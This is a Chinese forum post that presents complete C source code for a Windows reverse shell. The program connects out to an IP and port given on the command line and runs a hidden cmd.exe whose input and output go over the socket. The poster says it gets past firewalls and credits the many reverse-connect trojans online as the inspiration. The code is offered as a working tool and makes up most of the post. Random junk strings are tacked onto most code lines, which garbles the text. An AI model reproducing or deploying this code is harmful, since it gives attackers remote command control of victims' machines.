社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 3120阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gXJBb+P   
yCvtglAJ4  
/* ============================== IEMa/[n/  
Rebound port in Windows NT 7J!s"|VS  
By wind,2006/7 YrB-n  
===============================*/ Hd\V?#H  
#include w2'q9pB+  
#include }#7rg_O]>  
; Byt'S  
#pragma comment(lib,"wsock32.lib") #$x,PeG  
OtmDZ.t;`  
void OutputShell(); ]i$0s  
SOCKET sClient; BEvY&3%l  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t4[q :[1  
xdgAu  
void main(int argc,char **argv) lz~^*\ F  
{ Y~8 5Z0l  
WSADATA stWsaData; 2cH RiRT  
int nRet; >&KH!:OX|  
SOCKADDR_IN stSaiClient,stSaiServer; 1o%#kf  
Z K+F<}  
if(argc != 3) ZBK0`7#&EH  
{ $Dj8 a\L  
printf("Useage:\n\rRebound DestIP DestPort\n"); M7cD!s@'I  
return; c 'wRGMP  
} iX]OF.:   
mn?F;= qE  
WSAStartup(MAKEWORD(2,2),&stWsaData); N*}soMPV^.  
W~;Jsd=f  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); _d5:Y  
V;xPZ2C;  
stSaiClient.sin_family = AF_INET; aC\f;&P >  
stSaiClient.sin_port = htons(0); e^>>" tr  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); $G9LaD#;M  
PJC(:R(j  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) p{^:b6  
{ N7_eLhPt*8  
printf("Bind Socket Failed!\n"); kk-<+R2  
return; kg]6q T;Y  
} (4cdkL  
6+IhI?lI=  
stSaiServer.sin_family = AF_INET; !Ud'(iGa  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); DJ,LQj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); C!*!n^qA  
YQ G<Q  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) FfJ;r'eGs  
{ EVX3uC}{  
printf("Connect Error!"); )OV0YfO   
return; 5;/n`Bd  
} !Zj ]0,^  
OutputShell(); .P)lQk\  
} Snf_{A<  
 @./h$]6  
void OutputShell() wc;n= %  
{ kL*P 3 0  
char szBuff[1024]; S\).0goOW  
SECURITY_ATTRIBUTES stSecurityAttributes; +)sX8zb*gY  
OSVERSIONINFO stOsversionInfo; W\~^*ny P6  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \;X7DK2  
STARTUPINFO stStartupInfo; y!#-[K:  
char *szShell; FOXSs8"c]!  
PROCESS_INFORMATION stProcessInformation; B}iEhWO6  
unsigned long lBytesRead; k7CKl;Fck  
q Q\j  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =8\.fp  
j<p.#jkT  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :-1|dE)U  
stSecurityAttributes.lpSecurityDescriptor = 0; 7)lEZJK&T  
stSecurityAttributes.bInheritHandle = TRUE; *S.U8;*Xj  
R*[sO*h\k  
&?@C^0&QV  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); yq%5h[M  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); DzAZv/h76  
e}UQN:1  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); bF"l0 jS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UT<e/  
stStartupInfo.wShowWindow = SW_HIDE; 4Z)s8sDKW  
stStartupInfo.hStdInput = hReadPipe; )E}v~GW.+  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <CyU9`ye  
<Y]LY_(  
GetVersionEx(&stOsversionInfo); 928_e)V  
!"L.gu-'  
switch(stOsversionInfo.dwPlatformId) :$WO"HfMSn  
{ m@Z#  
case 1: OIcXelS:@k  
szShell = "command.com"; AFrJzh:V[  
break; mO>L]<O  
default: my?Ly(#  
szShell = "cmd.exe"; p#@#$u-  
break; aGD< #]  
} k#].nQG  
.xRdKt!p  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); p `"k=tZ{  
 - vvyG  
send(sClient,szMsg,77,0); NAR6q{c  
while(1) pXk^EV0  
{ =Hi@q "  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); s2<!Zb4  
if(lBytesRead) 7r:h_r-  
{ Su#0 F0  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); / F0q8j0  
send(sClient,szBuff,lBytesRead,0); @>2pY_  
} b($hp%+yJ  
else H"A%mrb  
{ ]fyfL|(;  
lBytesRead=recv(sClient,szBuff,1024,0); ={BD*= i  
if(lBytesRead<=0) break; $L/`nd  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); p+d-7'?I  
} /"{d2  
} }9fa]D-a?  
Rlq7.2cP  
return; F? #3  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五